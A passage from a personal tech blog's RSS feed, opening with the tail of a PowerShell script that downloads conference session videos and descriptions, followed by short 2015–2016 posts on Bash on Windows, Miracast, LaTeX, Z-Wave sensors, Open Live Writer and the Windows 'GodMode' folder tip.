&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;120&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;.mp4&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-ne&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; - &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;NoCodeSessions&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-not&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Test-Path&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;)) { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Folder &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;) dosen&amp;#39;t exist. Creating it...&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; -type directory 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Make sure the MP4 file doesn&amp;#39;t already exist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)) {     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Echo out the  file that&amp;#39;s being downloaded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$wc&lt;/span&gt; = (&lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Net&lt;/span&gt;.WebClient)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the MP4 file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$wc&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;DownloadFile&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$url&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;mv &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Try and get the Sessions text description&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$OutFile&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; -type file &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Folder&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Code&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;())&lt;span style=&#34;color:#a6da95&#34;&gt;.txt&amp;#34;&lt;/span&gt; -Force  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Category&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt; ; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;category&lt;/span&gt; | &lt;span style=&#34;color:#c6a0f6&#34;&gt;foreach&lt;/span&gt; {&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Category&lt;/span&gt; += &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;,&amp;#34;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;() + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;creator&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;summary&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;() + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Category&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Category&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Length&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;-1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;add-content&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$OutFile&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt;       
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#end-loop foreach&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*************** All Done! ***************&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>bash and Windows 10 on Fire!</title>
      <link>/post/2016/04/bash-and-windows-10-on-fire/</link>
      <pubDate>Thu, 07 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/bash-and-windows-10-on-fire/</guid>
      <description>&lt;p&gt;OK, now this is cool - not only is bash on fire, but I can miracast directly from Windows to another device.&lt;/p&gt;
&lt;p&gt;The first video shows a few basic shell commands and then catches fire!&lt;/p&gt;
&lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;https://desigeek.com/blog_files/2016/04-bash-and-windows-10-on-fire/bash-on-windows-compressed.mp4&#34; type=&#34;video/mp4&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;

&lt;p&gt;And this second video - essentially miracasts the same video you just saw on my TV without any special adapters. The TV is connected to the network and is showing a channel. Windows RS1 (&amp;ldquo;Anniversary Edition&amp;rdquo;) can find that on the network (from a Surface Book) and directly stream to that. The TV automatically switches over the input from cable and shows the video; and when I stop, it switches back to the cable input. Sweet. :)&lt;/p&gt;
&lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;https://desigeek.com/blog_files/2016/04-bash-and-windows-10-on-fire/VID_20160406_215400-compressed.mp4&#34; type=&#34;video/mp4&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;

</description>
    </item>
    
    <item>
      <title>Bash and Windows 10 &#34;Anniversary Update&#34;</title>
      <link>/post/2016/04/bash-and-windows-10-anniversary-update/</link>
      <pubDate>Wed, 06 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/bash-and-windows-10-anniversary-update/</guid>
      <description>&lt;p&gt;I am wondering, so what happens to PowerShell now?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image-2.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Bash on Windows</title>
      <link>/post/2016/04/bash-on-windows/</link>
      <pubDate>Wed, 06 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/bash-on-windows/</guid>
      <description>&lt;p&gt;Hmm, what is it downloading from the store? I thought that is what The Add/Remove features would add.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image-1.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Unity and Visual Studio</title>
      <link>/post/2016/04/unity-and-visual-studio/</link>
      <pubDate>Wed, 06 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/unity-and-visual-studio/</guid>
      <description>&lt;p&gt;Have been playing, a little with the new Visual Studio “preview” version (the installation of which is super smooth and takes waaaaay less time!). And as part of that saw the Unity Debugger option. Was this always there or is that new? Or did the Unity Tools beta add it? Interesting times to start playing with this, primarily for AR/VR and #HoloLens.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Virtual Reality</title>
      <link>/post/2016/04/virtual-reality/</link>
      <pubDate>Wed, 06 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/virtual-reality/</guid>
      <description>&lt;p&gt;Will be publishing a Virtual Reality (VR) point of view internally, and thinking of starting with this.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://static1.squarespace.com/static/518f5d62e4b075248d6a3f90/t/5337bbb1e4b07095cdd94402/1396161460278/?format=1500w&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Testing LaTeX</title>
      <link>/post/2016/03/testing-latex/</link>
      <pubDate>Thu, 24 Mar 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/03/testing-latex/</guid>
      <description>&lt;p&gt;Can we see the formula displayed in lovely maths? (and trying a simpler equation, as the last one did not parse properly)&lt;/p&gt;
&lt;p&gt;$$i\hbar\frac{\partial}{\partial t}\left|\Psi(t)\right&amp;gt;=H\left|\Psi(t)\right&amp;gt;$$&lt;/p&gt;
&lt;p&gt;Ohh, looks pretty! Though some LaTeX is being finicky, need to take out time to start posting some stuff here, given this is supported. &amp;#x1f601;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Humans and threading</title>
      <link>/post/2016/03/humans-and-threading/</link>
      <pubDate>Sat, 12 Mar 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/03/humans-and-threading/</guid>
      <description>&lt;p&gt;We,  humans, are multi-threaded by design and can do many things in parallel -  with two exceptions I think. The only two blocking function we have to deal with are sneezing and farting. During these times, all current activity must be suspended for the duration. And of course it can be pretty annoying (or depending on the function, embarrassing).&lt;/p&gt;
&lt;p&gt;So next time you check in some code, think about it -  is this smelly and sneezy (yep, that&amp;rsquo;s a word, now) or have I done the right thing?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What is Love?</title>
      <link>/post/2016/03/what-is-love/</link>
      <pubDate>Tue, 08 Mar 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/03/what-is-love/</guid>
      <description>&lt;p&gt;#Love is &amp;hellip; staying friends throughout a holiday with no WiFi. ????&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Z-Wave visualiser?</title>
      <link>/post/2016/03/z-wave-visualiser/</link>
      <pubDate>Tue, 08 Mar 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/03/z-wave-visualiser/</guid>
      <description>&lt;p&gt;At home I have a multitude of sensors and devices - ~80 or so which are a combination of water sensors,  motion sensors, door sensors, humidity, temperature, etc.&lt;/p&gt;
&lt;p&gt;A good bunch of these are controlled and integrated with Smartthings, and some I can interact with other apps (e.g. Amazon Echo or Philips Hue etc.).&lt;/p&gt;
&lt;p&gt;Most are Z-Wave based and some are WiFi. I wanted to know if there are any z-wave visualisers? Essentially software that uses a USB z-wave network device as a node and then can plot what the mesh looks like. Would be awesome to be able to debug the packet hops from the controller to the device.&lt;/p&gt;
&lt;p&gt;Any suggestions?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>7GB of memory dumps!</title>
      <link>/post/2016/03/7gb-of-memory-dumps/</link>
      <pubDate>Fri, 04 Mar 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/03/7gb-of-memory-dumps/</guid>
      <description>&lt;p&gt;Woah! Almost 7 GB of system error mem dumps! Seriously? I understand the value they provide but why do I need to manually go and clean them up. And 7 GB????? Does anyone even read them?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Joys of Parenting</title>
      <link>/post/2016/03/joys-of-parenting/</link>
      <pubDate>Fri, 04 Mar 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/03/joys-of-parenting/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/wp-1456719116628.jpg&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Baths and Parenting</title>
      <link>/post/2016/02/baths-and-parenting/</link>
      <pubDate>Mon, 29 Feb 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/02/baths-and-parenting/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/wp-1456718907080.jpg&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What If? Einstein would be proud!</title>
      <link>/post/2016/02/what-if-einstein-would-be-proud/</link>
      <pubDate>Mon, 22 Feb 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/02/what-if-einstein-would-be-proud/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1449999921168.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Open Live Writer</title>
      <link>/post/2016/02/open-live-writer/</link>
      <pubDate>Sun, 21 Feb 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/02/open-live-writer/</guid>
      <description>&lt;p&gt;Just downloaded and installed and posting this via &lt;a
	
		href = &#34;http://openlivewriter.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Open Live Writer
	&lt;/span&gt;
&lt;/a&gt;. Remember the lovely (but dead) &lt;a
	
		href = &#34;https://www.microsoft.com/en-us/download/details.aspx?id=8621&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Live Writer
	&lt;/span&gt;
&lt;/a&gt; from Microsoft? Well this is a forked version of that which is open source, based on MIT license.&lt;/p&gt;
&lt;p&gt;The editor is offline and is very similar to word and can support a number of blogging platforms – including the common ones as you would expect. You can muck around the &lt;a
	
		href = &#34;https://github.com/OpenLiveWriter/OpenLiveWriter/archive/0.5.0.0.zip&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		code
	&lt;/span&gt;
&lt;/a&gt; (zip) or check it &lt;a
	
		href = &#34;https://github.com/OpenLiveWriter&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		out on GIT
	&lt;/span&gt;
&lt;/a&gt;. It is still work in progress of course (e.g. Plugin’s are not implemented yet). Irrespective, hugely grateful to &lt;a
	
		href = &#34;https://twitter.com/shanselman&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Scott (Hanselman)
	&lt;/span&gt;
&lt;/a&gt; to get this going.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Rules of Threading (revised)</title>
      <link>/post/2016/02/rules-of-threading-revised/</link>
      <pubDate>Thu, 04 Feb 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/02/rules-of-threading-revised/</guid>
      <description>&lt;p&gt;I still stand by the &lt;a
	
		href = &#34;/post/2007/09/rules-of-threading/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		rules of threading
	&lt;/span&gt;
&lt;/a&gt;, but saw this on twitter and thought it was great.&lt;/p&gt;
&lt;p&gt;How a litter of puppies can explain the rules of thread? Awesome. 😄&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/B4rVC4ICQAAr65m.jpg&#34; alt=&#34;Embedded image permalink&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>God Mode in Windows 10</title>
      <link>/post/2015/08/god-mode-in-windows-10/</link>
      <pubDate>Tue, 11 Aug 2015 00:00:00 +0000</pubDate>
      
      <guid>/post/2015/08/god-mode-in-windows-10/</guid>
      <description>&lt;p&gt;Got this tip via &lt;a
	
		href = &#34;https://twitter.com/@jaydoscher&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Jay Doscher
	&lt;/span&gt;
&lt;/a&gt; at work.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Right-click on the desktop&lt;/li&gt;
&lt;li&gt;Select New ==&amp;gt; Folder.&lt;/li&gt;
&lt;li&gt;Rename the new folder to this: &lt;strong&gt;GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;You should now have an icon labeled GodMode and the icon changes too.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/GodMode1.jpg&#34; alt=&#34;GodMode Icon&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And as you can see there are many things in there:
&lt;p&gt;

    &lt;img src=&#34;images/GodMode2.jpg&#34; alt=&#34;GodMode Details&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;PS - this also works in Win 7 and 8.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Bubbles</title>
      <link>/post/2015/07/bubbles/</link>
      <pubDate>Thu, 09 Jul 2015 00:00:00 +0000</pubDate>
      
      <guid>/post/2015/07/bubbles/</guid>
